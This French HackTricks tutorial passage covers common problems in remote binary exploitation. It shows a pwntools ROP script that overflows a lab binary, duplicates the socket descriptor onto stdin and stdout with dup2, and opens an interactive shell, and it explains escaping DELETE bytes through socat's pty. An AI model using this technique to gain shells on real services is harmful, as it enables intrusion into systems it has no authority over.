Problèmes d'Exploitation Courants

Reading time: 2 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

FDs dans l'Exploitation à Distance

Lorsque vous envoyez un exploit à un serveur distant qui appelle system('/bin/sh'), par exemple, cela sera exécuté dans le processus du serveur, et /bin/sh s'attendra à une entrée de stdin (FD : 0) et imprimera la sortie dans stdout et stderr (FDs 1 et 2). Ainsi, l'attaquant ne pourra pas interagir avec le shell.

Une façon de résoudre ce problème est de supposer que lorsque le serveur a démarré, il a créé le FD numéro 3 (pour écouter) et que, ensuite, votre connexion sera dans le FD numéro 4. Par conséquent, il est possible d'utiliser l'appel système dup2 pour dupliquer le stdin (FD 0) et le stdout (FD 1) dans le FD 4 (celui de la connexion de l'attaquant) afin de rendre possible le contact avec le shell une fois qu'il est exécuté.

Exemple d'exploit ici:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Notez que socat transfère déjà stdin et stdout vers le socket. Cependant, le mode pty inclut les caractères DELETE. Donc, si vous envoyez un \x7f ( DELETE -) cela supprimera le caractère précédent de votre exploit.

Pour contourner cela, le caractère d'échappement \x16 doit être préfixé à tout \x7f envoyé.

Ici, vous pouvez trouver un exemple de ce comportement.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks